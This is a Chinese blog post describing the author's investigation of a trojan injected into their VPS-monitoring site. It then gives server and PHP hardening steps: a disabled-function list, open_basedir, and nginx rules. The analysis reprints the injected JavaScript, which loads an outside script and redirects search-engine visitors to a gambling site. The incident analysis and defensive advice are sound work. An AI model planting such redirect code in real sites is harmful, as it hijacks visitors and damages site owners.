网站挂木马和服务器被黑排查分析-VPS主机和服务器强化安全方法

“不怕贼偷,就怕贼惦记着”,网站被挂木马这种事真的太常见了,主要是现在大家用的建站程序基本上都是免费的或者是开源的,长期不打理或者不更新程序代码就容易出现各种安全漏洞,给“有心者”入侵提供了机会。另外,没有绝对的网站安全防护,即使是xx宝也可能有安全问题。

前几天利用VPS-Inventory-Monitoring搭建一个可以支持微信和TG电报通知提醒的VPS库存监控平台,就惨遭“入侵”。有朋友反馈说vps.wzfou.com打不开,挖站否点击进去看了一下网页变成了空白,用Chrome审查元素查看是两个JS被阻止加载。

网站挂木马和服务器被黑排查分析-VPS主机和服务器安全性方法

进一步分析发现网页是被挂木马了,本篇文章就来分享一下网站挂木马和服务器被黑排查分析的全过程,同时利用CDN加速、WAF防火墙以及网站及时更新程序补丁等方式来解决VPS主机和服务器安全性问题。更多的关于网站和服务器安全的文章,这里有:

  1. VPS主机和服务器安全防护:SSH修改端口,添加白名单,仅限密钥登录
  2. 五条关于使用免费VPS控制面板的安全建议-不让黑客有可趁之机
  3. 启用HSTS并加入HSTS Preload List让网站Https访问更加安全-附删除HSTS方法

一、网页挂马服务器被黑分析

1.1 网站出现异常

网站挂木马和服务器被黑有时容易发现,有时容易被发现,有时可能要“潜伏”很久才会爆发。像挖站否是直接出现网页空白。

网站挂木马出现异常

1.2 分析异常原因

用Chrome浏览器查看一下,发现加载两个外部的JS文件,因为SSL协议问题被浏览器阻止导致无法加载,如下图:

网站挂木马查看源代码

错误详细代码如下:

A parser-blocking, cross site (i.e. different eTLD+1) script, https://sfhufh2.com/ylc.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
(anonymous) @ (index):9
2ylc.js:16 A parser-blocking, cross site (i.e. different eTLD+1) script, https://js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.

进一下分析是加载了一个外部的JS文件,打开这个文件此时终于发现了一些“证据”了,JS里面的加了不少的代码。

网站挂木马发现JS文件

详细的代码如下:

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?70546d661cadce41b9173a040b7f077e";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://1xx033.com\";");
document.writeln("</script>");

代码中执行了location.href到波菜站,此时可以证明网站已经被挂木马了,此恶意代码会让访问者跳转到入侵者指定的网站。

网站挂木马跳转网站

二、分析服务器入侵蛛丝马迹

2.1 分析网页源码

上面发现的JS文件并没有直接在源码中引用,但是发现了网页源码中一段被混淆加密压缩过代码:

网站挂木马加密的JS代码

网页被挂木马的结论出来了:

打开首页,脚本执行了evel(混淆加密压缩),动态引入xxx.js,在js里执行了(function (){/* 跳转逻辑 */})()。

但是为什么自己打开是正常访问而没有跳转呢?通过进一步分析恶意代码, 发现JS作了判断:如果站点referrer是搜索引擎过来的就跳转到波菜站,不是就不做跳转直接正常打开站点。

网站挂木马得出结论

2.2 分析服务器日志

分析服务器日志可以找到入侵者是在何时何地“作恶”的。这里推荐两个日志分析工具,特别适用于网站日志比较大的时候:

服务器日志分析利器:ngxtop和GoAccess-实时监控可视化管理快速找出异常来源

三步揪出服务器流量异常“李鬼”-Linux服务器流量带宽监控与统计命令

另外,检查一下服务器后台是不是被人登录过了,参考:Linux登录失败记录-查看S-S-H暴力破解记录

网站挂木马后台登录记录

2.3 分析网站文件

入侵者无法是通过SQL注入或者是巧借代码漏洞,最终还是为了修改源码并加入自己的代码,从而达到自己不可告人的目的。我们很容易发现网站根目录下出现了一些“莫名其妙”的文件,如下图:

网站挂木马错误文件

还有这样的复制一份首页代码或者用自己的代码替换的:

网站挂木马复制代码

当然PHP代码或者JS代码基本上都是作了加密处理,如下图:

网站挂木马加密的PHP代码

三、防止挂马和被黑基本操作

3.1 CloudFlare安全防护

CloudFlare是一个CDN加速工具,但同时也可以安全防护工具,CloudFlare在防CC和DDos的能力方面还是相当地出色的,必要时开启CloudFlare的五秒盾。

网站挂木马启用CloudFlare

觉得手动切换CloudFlare五秒盾太麻烦的话,可以使用以下自动模式:

Cloudflare自动拉黑恶意IP到防火墙和自动切换5秒盾脚本防CC攻击

3.2 增强服务器的安全性

首先,你需要对服务器的基本安全性作一个全面的了解,例如SSH默认的端口还是不要保留了,对于服务器后台的登录权限一定要高度重视:

VPS主机和服务器安全防护:SSH修改端口,添加白名单,仅限密钥登录

如果你发现网站被CC攻击了,量少的话可以采取自动识别恶意IP并拉黑的方法,防护效率还是非常高的:

VPS主机防攻击应对CC和DDOS的基本思路-防扫描防火墙阻止策略

3.3 增强PHP运行环境安全

禁用危险函数

PHP提供的system()等函数可以直接执行系统命令,如果程序限制不严谨或写法不规范,被骇客利用是非常危险的,禁用此类较为危险的函数非常有必要。需要修改php.ini,添加如下内容:

disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen

防止跨站攻击

跨站攻击通常表现为A网站被黑之后,骇客利用脚本再次访问B网站或其它目录,最终可能导致所有网站全部沦陷。

open_basedir 参数将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。open_basedir设置的方法比较多,这里列出几个常用的。

php.ini设置

可以直接修改php.ini直接加入

open_basedir="指定目录"

从PHP脚本上设置

在程序脚本上限制:

ini_set('open_basedir', '指定目录');

通过.user.ini 进行设置

先来看看官方具体是如何解释.user.ini这个文件的:

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

简而言之,也就是说当PHP以CGI/FastCGI SAPI方式运行时,会去读取一个.user.ini的配置,我们可以在这里面设定open_basedir参数来防止跨站。

在站点根目录下新建一个.user.ini,内容如下:

open_basedir=/data/wwwroot/:/tmp/:/proc/

为防止.user.ini被篡改,可以给这个文件加上隐藏属性。

chattr +i .user.ini

目前已知的宝塔面板,军哥LNMP(lnmp.org)默认使用.user.ini来防止跨站,这个方式非常灵活,可以针对某个网站单独设置。也可以直接写在fastcgi.conf中根据网站目录自动限制:

fastcgi_param PHP_ADMIN_VALUE “open_basedir=$document_root/:/tmp/:/proc/”;  

禁止部分目录执行PHP

大多数PHP框架,如CodeIgniter、ThinkPHP都是单一入口,只需要index.php有入口权限程序就能正常运行。上传目录、静态文件目录完全没必须要赋予PHP执行权限,否则反而可能被利用。nginx可以通过下面的规则来禁止某个目录执行PHP:

#uploads|templets|data 这些目录禁止执行PHP
location ~* ^/(uploads|templets|data)/.*.(php|php5)$ {
    return 444;
}

四、总结

vps.wzfou.com被挂木马的事件基本上可以判定是程序的问题了,因为经过仔细观察基它的采用了VPS-Inventory-Monitoring架构的平台也是出现了同样的问题,可以推断攻击者找到了程序的漏洞进而进行了破坏。

面对网站挂木马和服务器被黑,不用太紧张,仔细分析一下网页源码、服务器后台登录记录、Nginx或者Apache日志以及文件日期对比,基本上可以锁定入侵者的“作案手法”以及“邪恶用心”。为防止留有后门,记得重装系统。

文章出自:挖站否 https://wzfou.com/wangzhan-muma/,版权所有。本站文章除注明出处外,皆为作者原创文章,可自由引用,但请注明来源。部分内容参考自 xiaoz


分享到:
Avatar for Qi
关于站长(Qi),2008年开始混迹于免费资源圈中,有幸结识了不少的草根站长。之后自己摸爬滚打潜心学习Web服务器、VPS、域名等,兴趣广泛,杂而不精,但愿将自己经验与心得分享出来与大家共勉。
已有 12 条评论
  1. Avatar for aylz10 aylz10

    不知道有没有什么好的脚本可以排查网站是否被挂马了
    站长这是网页异常了才发现被挂马了,如果网页看不出异常的话怎么可以发现被挂马?

    3月28日 04:08 回复
    • Avatar for Qi Qi

      是的,很难看出来。

      3月30日 12:53 回复
  2. Avatar for shikey shikey

    因为thinkphp导致整个服务器被黑,挂了个太阳城木马

    3月24日 01:23 回复
    • Avatar for Qi Qi

      确实,我现在用的这个就是这样。

      3月24日 14:04 回复
  3. 如果把%的密码登录关了,应该会少很多事。

    3月23日 19:12 回复
    • Avatar for Qi Qi

      全关闭的话会有不少麻烦。

      3月24日 14:12 回复
    • Avatar for Qi Qi

      你的博客评论提示:ERROR: Captcha time expired.

      3月24日 14:13 回复
  4. 以前wp被改过主题,后来把危险的func都给禁掉,还有上面的open_basedir,以及WebServer的防跨站全给设置了
    PHP和WebServer也是时不时升最新版,从此没被入侵过

    3月18日 17:20 回复
    • Avatar for Qi Qi

      WP还是挺安全的。

      3月18日 19:10 回复
  5. Avatar for No No

    方法很好,学习了。

    3月18日 12:33 回复
  6. Avatar for saber saber

    做站的VPS就拿来做站,%端口直接关了,应该可以防些木马。

    3月15日 15:41 回复
    • Avatar for Qi Qi

      有些可能是程序的问题。

      3月17日 12:59 回复

Login

Welcome! Login in to your account

Remember me Lost your password?

Don't have account. Register

Lost Password

Register